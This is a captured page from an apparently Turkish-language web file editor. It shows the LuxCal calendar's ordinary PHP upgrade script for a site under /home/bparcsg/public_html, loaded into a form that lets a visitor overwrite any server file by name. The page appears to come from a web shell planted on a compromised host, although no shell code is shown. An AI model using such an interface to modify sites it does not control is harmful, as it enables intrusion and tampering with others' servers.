    <h3>/home/bparcsg/public_html/bookingnew/upgrade461.php dÃ¼zenle</h3>
    <form method="post">
        <input type="hidden" name="filename" value="/home/bparcsg/public_html/bookingnew/upgrade461.php">
        <textarea name="content" style="width:100%;height:400px;">&lt;?php
/*
!!!!!!! AFTER UPLOADING A NEW LUXCAL VERSION TO YOUR SERVER, THIS !!!!!!!
!!!!!!! SCRIPT WILL RUN AUTOMATICALLY WHEN STARTING THE CALENDAR. !!!!!!!
!!!!!!! THIS SCRIPT MAY BE LAUNCHED VIA YOUR BROWSER AT ANY TIME. !!!!!!!

© Copyright 2009-2018 LuxSoft - www.LuxSoft.eu
*/

//sanity check
if (version_compare(PHP_VERSION,'5.3.0') &lt; 0) { //check PHP version
	exit('&lt;br&gt;&lt;br&gt;&lt;b&gt;PHP version too low&lt;/b&gt;&lt;br&gt;&lt;br&gt;You need version 5.3 or higher&lt;br&gt;Your current version is: '.PHP_VERSION);
}
foreach ($_REQUEST as $key =&gt; $value) { if (is_string($value)) $_REQUEST[$key] = htmlspecialchars(strip_tags(trim($value)),ENT_QUOTES,'UTF-8'); }

//set error reporting
error_reporting(E_ALL); //errors and notices
ini_set('display_errors',1);
ini_set('log_errors',1);

//get configuration data
if (file_exists('./lcconfig.php')) {
	include './lcconfig.php';
}
if (empty($dbType)) { $dbType = 'SQLite'; } //set database type
$lcV = implode('.',str_split(substr(basename(__FILE__),7,-4))).'L'; //get new LuxCal version

//start PHP session (needed to be able to unset session variables later)
session_start();
setcookie('LCALcid', '', time()-3600); //delete possible calID cookie of previous installation

//get calendar tools
require './common/toolbox.php'; //general toolbox
require './common/toolboxd.php'; //database tools
require './common/toolboxx.php'; //admin tools
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;title&gt;LuxCal Event Calendar - Upgrade&lt;/title&gt;
&lt;meta name=&quot;description&quot; content=&quot;LuxCal web calendar - a LuxSoft product&quot;&gt;
&lt;meta name=&quot;author&quot; content=&quot;Roel Buining&quot;&gt;
&lt;meta name=&quot;robots&quot; content=&quot;nofollow&quot;&gt;
&lt;link rel=&quot;icon&quot; href=&quot;lcal.png&quot; type=&quot;image/png&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
header, footer, aside {display:block;}
* { padding:0; margin:0;}
body {font:11px arial, sans-serif; background:#E0E0E0; color:#2B3856; cursor:default;}
a {text-decoration:none; cursor:pointer;}
header {padding:0 1%;}
h3 {margin:8px 0; font-size:14pt;}
h4 {margin:6px 0; font-size:12pt;}
h5 {margin:2px 0; font-size:11pt;}
td {vertical-align:top;}
input, textarea {font:11px arial, sans-serif;}
input[type=&quot;text&quot;], textarea { width:100%;}
input[type=&quot;submit&quot;], input[type=&quot;button&quot;] { margin:0 15px; cursor:pointer;}
ul, ol {margin:0 20px;}
li {margin-top:5px;}
.floatR {float:right;}
.floatL {float:left;}
.aside {width:45%; border:1px solid #808080; background:#FFFFFF; padding:15px; float:right; text-align:justify;}
.centerBox {display:table; margin:auto;}
.resultBox {width:500px; border:1px solid #808080; background:#FFFFFF; padding:5px; text-align:justify;}
.form {width:370px; border:1px solid #808080; background:#FFFFFF; padding:5px 15px;}
.bLine {position:absolute; left:0; bottom:50px; width:98%; text-align:center;}
.hilite {background:#F0A070;}
.lolite {background:#70C070;}
.mark {color:#AA0000;}
.center {text-align:center;}
.col1 {width:85px;}
.col2 {width:275px;}
.flag {color:#FF3300;}
.title {font:bold 16px arial, sans-serif;}
header {margin:6px 0; padding:0 1%; font-size:12pt; font-weight:bold;}
div.navBar {
	position:absolute; top:34px; left:0; right:0;
	padding:0 1%;
	background:#AAAAFF;
	text-align:center;
	border:1px #808080;
	border-style:solid none;
	line-height:20px;
	vertical-align:middle;
}
div.content {
	position:absolute; left:0; top:110px; right:0px; bottom:90px;
	padding:0 20px;
	overflow:auto;
}
div.endBar {
	position:absolute; left:0; right:0; bottom:10px;
	padding:0 1%;
	background:#AAAAFF;
	text-align:right;
	border:1px #808080;
	border-style:solid none;
	font-size:0.8em;
}
.footLB {font:italic bold 1.1em arial,sans-serif; color:#0033FF;}
.footLR {font:italic bold 1.1em arial,sans-serif; color:#AA0066;}
&lt;/style&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
function showMe(elID) {
    var el = document.getElementById(elID);
    el.scrollIntoView(true);
}
&lt;/script&gt;
&lt;/head&gt;

&lt;body onLoad=&quot;showMe('resultBox');&quot;&gt;
&lt;header&gt;LuxCal Event Calendar&lt;/header&gt;
&lt;?php
//init
$dbH = null; //disconnect from db
$report = array();

echo &quot;&lt;div class='navBar'&gt;&lt;span class='floatL'&gt;LuxCal: {$lcV}&lt;/span&gt;&lt;span class='floatR'&gt;Your PHP version: &quot;.PHP_VERSION.&quot;&lt;/span&gt;&lt;span class='title'&gt;Calendar Upgrade to Version {$lcV}&lt;/span&gt;&lt;/div&gt;\n&quot;;
echo &quot;&lt;div class='content'&gt;\n&quot;;

do { //start of processing
	if (empty($dbDir) or !isset($dbDef)) { //config data not complete
		$error = &quot;No configuration data found in calendar root (file: lcconfig.php)&quot;; break;
	}
	$report[] = &quot;Configuration file 'lcconfig.php' found. Configuration data loaded:&quot;;
	$report[] = &quot;- Database folder: {$dbDir}&quot;;
	$report[] = &quot;- Default calendar: {$dbDef}&quot;;

	//get settings of default calendar and set time zone
	$dbH = dbConnect($dbDef);
	$dbSet = getSettings();
	$dbH = null; //disconnect from db
	if ($dbSet === false) {
		$error = &quot;Could not retrieve calendar settings from the database&quot;; break;
	}
	date_default_timezone_set($dbSet['timeZone']);
	$report[] = &quot;Default calendar settings retrieved and timezone set to:&quot;;
	$report[] = &quot;- &quot;.$dbSet['timeZone'];

	//get installed calendars
	$allCals = getCals();
	if (empty($allCals)) {
		$error = &quot;No calendars found in folder '{$dbDir}'.&quot;; break;
	}
	$report[] = &quot;Calendar(s) found in folder '{$dbDir}':&quot;;
	foreach($allCals as $name=&gt;$title) {
		$report[] = '- '.$name.' = '.$title.($name == $dbDef ? &quot; &lt;span class='mark'&gt;(default)&lt;/span&gt;&quot; : '');
	}

	/*============================= start upgrading ==============================*/

	foreach($allCals as $calID=&gt;$title) { //process each installed calendar
		$report[] = &quot;Processing calendar: {$calID} - {$title}&quot;;
		
		//connect to db
		if (!$dbH = dbConnect($calID,0)) {
			$report[] = &quot;- Problem connecting to calendar.&quot;;
			continue;
		}
		//upgrade db tables to the latest schema, while preserving data
		$fromV = upgradeDb();
		$report[] = &quot;- V{$fromV} database tables and structures verified/updated.&quot;;

		//upgrade admin settings
		$dbSet = getSettings();
		checkSettings($dbSet);
		saveSettings($dbSet);
		$report[] = &quot;- Administrator settings verified/updated&quot;;

		$dbH = null; //disconnect from db
	}

	//Save LuxCal version and config data
	if (!saveConfig()) {
		$error = &quot;Unable to write the file lcconfig.php to calendar root. Check file permissions (should be 755).&quot;; break;
	}
	$report[] = &quot;Configuration file 'lcconfig.php' updated and saved to root folder.&quot;;
} while (0); //end of processing

echo &quot;&lt;div class='centerBox'&gt;&lt;br&gt;\n&quot;;
if (empty($error)) {
	echo &quot;&lt;h5&gt;Start of Upgrade&lt;/h5&gt;\n&quot;;
	echo &quot;&lt;ul&gt;\n&quot;;
	foreach($report as $text) {	echo $text[0] == '-' ? &quot;&lt;br&gt;{$text}\n&quot; : &quot;&lt;li&gt;{$text}\n&quot;; } //show each step
	echo &quot;&lt;/ul&gt;\n&quot;;
	echo &quot;&lt;h5&gt;End of Upgrade&lt;/h5&gt;\n&quot;;
	echo &quot;&lt;br&gt;\n&quot;;
	echo &quot;&lt;div id='resultBox' class='resultBox'&gt;\n&quot;;
	echo &quot;The calendar has been upgraded to version {$lcV}.\n&quot;;
	echo &quot;&lt;p&gt;Make a back-up copy of the configuration file 'lcconfig.php'.&lt;/p&gt;&lt;br&gt;\n&quot;;
	echo &quot;&lt;div class='center'&gt;\n&quot;;
	echo &quot;&lt;input type='button' onclick=\&quot;window.location.href='index.php'\&quot; value=\&quot;Start Calendar\&quot;&gt;\n&quot;;
	echo &quot;&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&quot;;
} else {
	echo &quot;&lt;div id='resultBox' class='resultBox'&gt;\n&quot;;
	echo &quot;&lt;h5&gt;The following error occurred:&lt;/h5&gt;\n&quot;;
	echo &quot;&lt;div class='hilite'&gt;- {$error}&lt;/div&gt;&lt;br&gt;\n&quot;;
	echo &quot;The calendar upgrade to version {$lcV} has been aborted.&lt;br&gt;\n&quot;;
	echo &quot;Correct the error and restart the upgrade script.\n&quot;;
	echo &quot;&lt;/div&gt;\n&quot;;
}
echo &quot;&lt;/div&gt;\n&quot;;
?&gt;
&lt;/div&gt;
&lt;br&gt;
&lt;div class=&quot;bLine mark&quot;&gt;&lt;h4&gt;AFTER USE MAKE THE FILE &lt;?php echo basename(__FILE__); ?&gt; INACCESSIBLE OR REMOVE IT FROM THE SERVER !&lt;/h4&gt;&lt;/div&gt;
&lt;div class=&quot;endBar&quot;&gt;
	design 2018 - powered by &lt;a href=&quot;http://www.luxsoft.eu&quot;&gt;&lt;span class=&quot;footLB&quot;&gt;Lux&lt;/span&gt;&lt;span class=&quot;footLR&quot;&gt;Soft&lt;/span&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;&amp;nbsp;
&lt;/body&gt;
&lt;/html&gt;
</textarea><br>
        <button type="submit" name="save_file">Kaydet</button>
    </form>
    <hr>
    <a href="?file=/home/bparcsg/public_html/bookingnew">â† Geri</a>